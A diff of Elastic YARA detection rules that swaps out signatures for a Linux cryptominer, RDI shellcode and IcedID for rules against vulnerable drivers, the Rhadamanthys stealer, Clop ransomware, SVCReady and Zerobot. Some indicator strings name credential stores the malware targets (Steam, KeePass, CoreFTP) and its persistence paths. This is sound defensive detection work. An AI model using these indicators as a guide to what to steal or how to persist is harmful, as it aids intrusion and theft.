-		id = "70e5946e-3e73-4b07-9e7d-af036a3242f9"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "928812a7-ac7c-47cf-9111-11470b661d46"
+		date = "2022-04-04"
+		modified = "2022-04-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L240-L258"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
-		logic_hash = "324deafee2b14c125100e49b90ea95bc1fc55020a7e81a69c7730a57430560f4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Zam.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
+		logic_hash = "82ca874d60d8a0ee04aca39f59415f22797e7e0337314c88dd8ebad1a823d200"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "ced6885fda17c862753232fde3e7e8797f5a900ebab7570b78aa7138a0068eb9"
-		severity = 100
+		tags = "FILE"
+		fingerprint = "8e5db0d4fee806538929680e7d3521b111b0e09fcc3eba3c191f6787375999cc"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 4F 70 48 8D B4 24 B0 00 00 00 48 89 34 CA 49 8B 57 68 48 89 C8 83 }
+		$pdb_64 = "AntiMalware\\bin\\zam64.pdb"
+		$pdb_32 = "AntiMalware\\bin\\zam32.pdb"
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and any of ($pdb_*)
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_033F06Dd : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Rweverything_Aee156A5 : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Name: RwDrv.sys"
 		author = "Elastic Security"
-		id = "033f06dd-f3ed-4140-bbff-138ed2d8378c"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "aee156a5-a841-4a9d-97de-1d935705b4bb"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L260-L278"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3afc8d2d85aca61108d21f82355ad813eba7a189e81dde263d318988c5ea50bd"
-		logic_hash = "a0c788dbcd43cab2af1614d5d90ed9e07a45b547241f729e09709d2a1ec24e60"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_RWEverything.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3c5bf92c26398695f9ced7ce647a7e9f6ddcc89eea66b45aa3607196a187431b"
+		logic_hash = "46b7f2ad46564c6b99f0df6146dff7c88ccbe3ad6c6d1bcbefe756606c4fe40e"
 		score = 75
-		quality = 73
-		tags = "FILE, MEMORY"
-		fingerprint = "2f1f39e10df0ca6c133237b6d92afcb8a9c23de511120e8860c1e6ed571252ed"
-		severity = 100
+		quality = 75
+		tags = "FILE"
+		fingerprint = "ced97dd50a1525aeafef2192c16c1a4f29d6c70e7b3c4b196352cfc2a5c8f157"
+		threat_name = "Windows.VulnDriver.RWEverything"
+		severity = 50
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 42 68 63 33 4E 33 5A 48 78 6A 64 58 51 67 4C 57 51 36 49 43 31 }
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 52 00 77 00 44 00 72 00 76 00 2E 00 73 00 79 00 73 00 00 00 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_Ce0C185F : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Rhadamanthys_21B60705 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
 		author = "Elastic Security"
-		id = "ce0c185f-fca2-47d3-9e7c-57b541af98a5"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "21b60705-9696-43ba-a820-d8ab9c34cca2"
+		date = "2023-03-19"
+		modified = "2023-04-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L280-L298"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cdd3d567fbcbdd6799afad241ae29acbe4ab549445e5c4fc0678d16e75b40dfa"
-		logic_hash = "f88c5a295cc62f5a91e26731fc60aaf450376cbb282f43304ba2a5ac5d149dd4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Rhadamanthys.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3ba97c51ba503fa4bdcfd5580c75436bc88794b4ae883afa1d92bb0b2a0f5efe"
+		logic_hash = "ef3f60689d72553111b42b27e0a1a0316288ae07fbfaf159eea8c76380d528fa"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "0d2e3e2b04e93f25c500677482e15d92408cb1da2a5e3c5a13dc71e52d140f85"
+		fingerprint = "8a756bf4a8c9402072531aca2c29a382881c1808a790432ccac2240b35c09383"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { EF E5 66 0F 6F AC 24 80 00 00 00 66 0F EB E8 66 0F EF D5 66 0F }
+		$a1 = "Session\\%u\\MSCTF.Asm.{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}" wide fullword
+		$a2 = "MSCTF.Asm.{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}" wide fullword
+		$a3 = " \"%s\",Options_RunDLL %s" wide fullword
+		$a4 = "%%TEMP%%\\vcredist_%05x.dll" wide fullword
+		$a5 = "%%APPDATA%%\\vcredist_%05x.dll" wide fullword
+		$a6 = "TEQUILABOOMBOOM" wide fullword
+		$a7 = "%Systemroot%\\system32\\rundll32.exe" wide fullword
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Linux_Cryptominer_Malxmr_Da08E491 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Rhadamanthys_1Da1C2C2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
+		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
 		author = "Elastic Security"
-		id = "da08e491-c6fa-4228-8b6a-8adae2f0324a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "1da1c2c2-90ea-4f76-aa38-666934c0aa68"
+		date = "2023-03-28"
+		modified = "2023-04-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Malxmr.yar#L300-L318"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4638d9ece32cd1385121146378772d487666548066aecd7e40c3ba5231f54cc0"
-		logic_hash = "f98252c33f8d76981bbc51de87a11a7edca7292a864fc2a305d29cd21961729e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Rhadamanthys.yar#L27-L52"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9bfc4fed7afc79a167cac173bf3602f9d1f90595d4e41dab68ff54973f2cedc1"
+		logic_hash = "bf5d45fe79dacfc6aee5cfd788ec6ce77e99e55d5a6d294da57c126bedf75ee9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c4911fdeece4c3f97bbc9ef4da478c5f5363ab71a70b0767edec0f94b87fd939"
+		fingerprint = "7b3830373b773be03dc6d0f030595f625a2ef0b6a83312a5b0a958c0d2e5b1c0"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F9 48 31 CD 48 89 F9 48 F7 D1 4C 21 F9 48 21 DA 49 31 CA 48 }
+		$a1 = "%s\\tdata\\key_datas" wide fullword
+		$a2 = "\\config\\loginusers.vdf" wide fullword
+		$a3 = "/bin/KeePassHax.dll" ascii fullword
+		$a4 = "%%APPDATA%%\\ns%04x.dll" wide fullword
+		$a5 = "\\\\.\\pipe\\{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}" wide fullword
+		$a6 = " /s /n /i:\"%s,%u,%u,%u\" \"%s\"" wide fullword
+		$a7 = "strbuf(%lx) reallocs: %d, length: %d, size: %d" ascii fullword
+		$a8 = "SOFTWARE\\FTPWare\\CoreFTP\\Sites\\%s" wide fullword
 
 	condition:
-		all of them
+		6 of them
 }
-rule ELASTIC_Windows_Shellcode_Rdi_Edc62A10 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Rhadamanthys_Ae00F48C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Shellcode Rdi (Windows.Shellcode.Rdi)"
+		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
 		author = "Elastic Security"
-		id = "edc62a10-7cb1-4fda-a15c-86d40d510ffd"
-		date = "2023-06-23"
-		modified = "2023-07-10"
+		id = "ae00f48c-f420-4a23-aae7-6f2bde29593c"
+		date = "2023-05-05"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Shellcode_Rdi.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "64485ffc283e981c8b77db5a675c7ba2a04d3effaced522531185aa46eb6a36b"
-		logic_hash = "986cb6c28d2d9767a2fd084fdd71edb7a1c36e78ddedf3c562076cf6f5b5afd1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Rhadamanthys.yar#L54-L74"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "56b5ff5132ec1c5836223ced287d51a9ecee8d2b081f449245e136b1262a8714"
+		logic_hash = "423b68717a7aead3c871e7fc744e35dad1cfd7727bfba2bdaec69fb782540380"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "1cee85457eb31be126a41d4e332735957cf4a928fdf4b5253380b6c97605d069"
-		severity = 90
+		fingerprint = "8e3d13998a8e512aabf15534d61c06e0c6c51a4e8e46456538c654694310e670"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { E8 00 00 00 00 59 49 89 C8 48 81 C1 23 0B 00 00 BA [10] 00 41 B9 04 00 00 00 56 48 89 E6 48 83 E4 F0 48 83 EC 30 C7 }
+		$a1 = { 75 30 8B 51 28 8B 41 2C 85 DB 74 03 89 53 28 85 D2 74 15 39 }
+		$a2 = { 3C 65 74 50 3C 68 74 2A 3C 6E }
+		$a3 = { 49 74 39 49 74 2D 49 49 74 29 49 49 74 25 49 49 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Shellcode_Rdi_Eee75D2C : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Rhadamanthys_Cf5Dd2E2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Shellcode Rdi (Windows.Shellcode.Rdi)"
+		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
 		author = "Elastic Security"
-		id = "eee75d2c-78ef-460f-be96-4638443952fb"
-		date = "2023-08-25"
-		modified = "2023-11-02"
+		id = "cf5dd2e2-a505-4927-8653-3c9addd3ac90"
+		date = "2024-04-03"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Shellcode_Rdi.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8c4de69e89dcc659d2fff52d695764f1efd7e64e0a80983ce6d0cb9eeddb806c"
-		logic_hash = "18cd9be4af210686872610f832ac0ad58a48588a1226fc6093348ceb8371c6b4"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Rhadamanthys.yar#L76-L97"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "39ccc224c2c6d89d0bce3d9e2c677465cbc7524f2d2aa903f79ad26b340dec3d"
+		logic_hash = "039d6de0d072be6717ba3eb90735d7b4898d3bbac83db4feb75efcdbca8fd98b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2b8f840cecec00ce3112ea58e4e957e1b0754380e14a8fc8a39abc36feb077e9"
+		fingerprint = "3b2bdfd45a11649deb3430044c7b707aebcf74a3745398e3db09a7465fa62a6c"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90901,28 +94772,31 @@ rule ELASTIC_Windows_Shellcode_Rdi_Eee75D2C : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 81 EC 14 01 00 00 53 55 56 57 6A 6B 58 6A 65 66 89 84 24 CC 00 00 00 33 ED 58 6A 72 59 6A 6E 5B 6A 6C 5A 6A 33 }
+		$a1 = { 33 D2 49 8B C4 49 83 C4 57 48 F7 F7 41 8A C2 46 0F B6 04 1A 33 D2 42 8D 4C 05 00 C1 E9 03 F6 E9 8A C8 49 8B C0 41 C0 E8 05 }
+		$a2 = { 8A 04 19 32 03 88 04 1A 48 83 C3 01 48 83 EF 01 }
+		$a3 = { 4C 01 27 48 8B 0F 48 8B 47 10 C6 04 01 00 48 83 07 01 48 8B 0F 48 8B 47 10 }
+		$a4 = { 69 F6 93 01 00 01 0F B6 C0 48 83 C1 01 33 F0 8A 01 84 C0 }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_1Cd868A6 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Rhadamanthys_C4760266 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Windows Trojan Rhadamanthys (Windows.Trojan.Rhadamanthys)"
 		author = "Elastic Security"
-		id = "1cd868a6-d2ec-4c48-a69a-aaa6c7af876c"
-		date = "2021-02-28"
-		modified = "2021-08-23"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "68dce9f214e7691db77a2f03af16a669a3cb655699f31a6c1f5aaede041468ff"
-		logic_hash = "4765b2b1d463f09d7e21367c2832b3ad668aa67d8078798a14295b6e6c846c1c"
+		id = "c4760266-bbff-4428-a7a5-bca7513c7993"
+		date = "2024-06-05"
+		modified = "2024-06-12"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Rhadamanthys.yar#L99-L117"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "05074675b07feb8e7556c5af449f5e677e0fabfb09b135971afbb11743bf3165"
+		logic_hash = "b8c1c56681aac4e1b1741dfa3ea929677214873b6f1795423a80742f699249de"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3e76b3ac03c5268923cfd5d0938745d66cda273d436b83bee860250fdcca6327"
+		fingerprint = "53a04d385ef3a59b76500effaf740cd0e7d825ea5515f871097d82899b0cfc44"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90930,57 +94804,60 @@ rule ELASTIC_Windows_Trojan_Icedid_1Cd868A6 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 24 2C B9 09 00 00 00 2A C2 2C 07 88 44 24 0F 0F B6 C3 6B C0 43 89 44 }
+		$a = { 55 8B EC 83 EC 14 83 7D 08 00 53 8B D8 74 50 56 57 8B 7D 0C 6A 10 2B FB 5E 56 8D 45 EC 53 50 ?? ?? ?? ?? ?? 83 C4 0C 90 8B 4D 10 8B C3 2B CB 89 75 FC 8A 14 07 32 10 88 14 01 40 FF 4D FC 75 F2 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_237E9Fb6 : FILE MEMORY
+rule ELASTIC_Linux_Ransomware_Clop_728Cf32A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Linux Ransomware Clop (Linux.Ransomware.Clop)"
 		author = "Elastic Security"
-		id = "237e9fb6-b5fa-4747-af1f-533c76a5a639"
-		date = "2021-02-28"
-		modified = "2021-08-23"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L23-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b21f9afc6443548427bf83b5f93e7a54ac3af306d9d71b8348a6f146b2819457"
-		logic_hash = "31479eae077b2d78cb1770eef3b37bec941f35c9ceb329e01dd65a32e785fa74"
+		id = "728cf32a-94c1-4979-b092-6851649946be"
+		date = "2023-07-27"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Ransomware_Clop.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "09d6dab9b70a74f61c41eaa485b37de9a40c86b6d2eae7413db11b4e6a8256ef"
+		logic_hash = "31c2fdfcfc46ad1dd69489536172937b9771d8505f36c7bd8dc796f40a2fe4d2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e2ea6d1477ce4132f123b6c00101a063f7bba7acf38be97ee8dca22cc90ed511"
+		fingerprint = "86644f9f1e9f0b69896cd05ae1442a3b99483cc0ff15773c0c3403e59b6d5c97"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 60 8B 55 D4 3B D0 7E 45 83 F8 08 0F 4C 45 EC 3B D0 8D 3C 00 0F }
+		$a1 = "CONTACT US BY EMAIL:"
+		$a2 = "OR WRITE TO THE CHAT AT->"
+		$a3 = "(use TOR browser)"
+		$a4 = ".onion/"
 
 	condition:
-		all of them
+		3 of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_F1Ce2F0A : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Svcready_Af498D39 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Detects Windows Trojan Svcready (Windows.Trojan.SVCReady)"
 		author = "Elastic Security"
-		id = "f1ce2f0a-0d34-46a4-8e42-0906adf4dc1b"
-		date = "2021-02-28"
-		modified = "2021-08-23"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L45-L65"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b21f9afc6443548427bf83b5f93e7a54ac3af306d9d71b8348a6f146b2819457"
-		logic_hash = "a1f1824a7208201616dde40bea514dfc2cdf908bd8ed24b9f96c2bcad2c8107f"
+		id = "af498d39-6ae8-46de-ad6c-81b346d80139"
+		date = "2022-06-12"
+		modified = "2022-07-18"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_SVCReady.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "08e427c92010a8a282c894cf5a77a874e09c08e283a66f1905c131871cc4d273"
+		logic_hash = "e3520103064cf82cd1747f8889667929d23466c9febfda7e4968a3679db97d71"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1940c4bf5d8011dc7edb8dde718286554ed65f9e96fe61bfa90f6182a4b8ca9e"
+		fingerprint = "6e30d9977698c7864a8c264a7fe8c9a558f6e51dda9c887bda94261ce187645f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -90988,158 +94865,160 @@ rule ELASTIC_Windows_Trojan_Icedid_F1Ce2F0A : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { 8B C8 8B C6 F7 E2 03 CA 8B 54 24 14 2B D0 8B 44 24 14 89 54 }
+		$a1 = "RunPEDllNative::HookNtCreateUserProcess fail: targetMapping.valid" ascii fullword
+		$a2 = "Section Mapping error:Process=0x%x Section [%s] res[0x%x] != va[0x%x] Status:%u" ascii fullword
+		$a3 = "%s - %I64d < %I64d > %I64d clicks, %I64d pixels, ready=%i" ascii fullword
+		$a4 = "Svc:windowThreadRunner done" ascii fullword
+		$a5 = "svc commonMain" ascii fullword
 
 	condition:
-		all of them
+		4 of them
 }
-rule ELASTIC_Windows_Trojan_Icedid_08530E24 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Zerobot_185E2396 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Strings found in the zerobot startup / persistanse functions"
 		author = "Elastic Security"
-		id = "08530e24-5b84-40a4-bc5c-ead74762faf8"
-		date = "2021-03-21"
-		modified = "2021-08-23"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L67-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "31db92c7920e82e49a968220480e9f130dea9b386083b78a79985b554ecdc6e4"
-		logic_hash = "a63511edde9d873e184ddb4720b4752b0e7df4bdb2114b05c16f2ca0594eb6b8"
+		id = "185e2396-f9eb-42e6-b78b-f8c01dbd3fd8"
+		date = "2022-12-16"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Zerobot.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f9fc370955490bdf38fc63ca0540ce1ea6f7eca5123aa4eef730cb618da8551f"
+		logic_hash = "caa21cc019d8e4549d976f8b4f98d930ef7acf4c39c41956ae35fa78c975e016"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f2b5768b87eec7c1c9730cc99364cc90e87fd9201bf374418ad008fd70d321af"
+		fingerprint = "f7ce4eebd5f13af3a480dfe23d86394c7e0f85f284a7c2900ab3fad944b08752"
+		threat_name = "Linux.Trojan.Zerobot"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "c:\\ProgramData\\" ascii fullword
-		$a2 = "loader_dll_64.dll" ascii fullword
-		$a3 = "aws.amazon.com" wide fullword
-		$a4 = "Cookie: __gads=" wide fullword
-		$b1 = "LookupAccountNameW" ascii fullword
-		$b2 = "GetUserNameA" ascii fullword
-		$b3 = "; _gat=" wide fullword
-		$b4 = "; _ga=" wide fullword
-		$b5 = "; _u=" wide fullword
-		$b6 = "; __io=" wide fullword
-		$b7 = "; _gid=" wide fullword
-		$b8 = "%s%u" wide fullword
-		$b9 = "i\\|9*" ascii fullword
-		$b10 = "WinHttpSetStatusCallback" ascii fullword
+		$startup_method_1_0 = "/usr/bin/sshf"
+		$startup_method_1_1 = "start on filesystem"
+		$startup_method_1_2 = "exec /usr/bin/sshf"
+		$startup_method_2_0 = "Description=Hehehe"
+		$startup_method_2_1 = "/lib/systemd/system/sshf.service"
+		$start_service_0 = "service enable sshf"
+		$start_service_1 = "systemctl enable sshf"
 
 	condition:
-		all of ($a*) and 5 of ($b*)
+		( all of ($startup_method_1_*) or all of ($startup_method_2_*)) and 1 of ($start_service_*)
 }
-rule ELASTIC_Windows_Trojan_Icedid_11D24D35 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Zerobot_3A5B56Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Icedid (Windows.Trojan.IcedID)"
+		description = "Strings found in the Zerobot Spoofed Header method"
 		author = "Elastic Security"
-		id = "11d24d35-6bff-4fac-83d8-4d152aa0be57"
-		date = "2022-02-16"
-		modified = "2022-04-06"
-		reference = "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_IcedID.yar#L101-L121"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b8d794f6449669ff2d11bc635490d9efdd1f4e92fcb3be5cdb4b40e4470c0982"
-		logic_hash = "4a5d0f37e3e80e370ae79fd45256dbd274ed8f8bcd021e8d6f95a0bc0bc5321f"
+		id = "3a5b56dd-e829-44bb-ae70-d7001addd057"
+		date = "2022-12-16"
+		modified = "2024-02-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Zerobot.yar#L28-L51"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f9fc370955490bdf38fc63ca0540ce1ea6f7eca5123aa4eef730cb618da8551f"
+		logic_hash = "2491fff4ad0327e0440d842f221fb6623c8efd97e2991bf2090abceaef9c2ccf"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "155e5df0f3f598cdc21e5c85bcf21c1574ae6788d5f7e0058be823c71d06c21e"
+		fingerprint = "9800a241ab602434426830110ce244cdfd0023176e5fa64e2b8761234ed6f529"
+		threat_name = "Linux.Trojan.Zerobot"
 		severity = 100
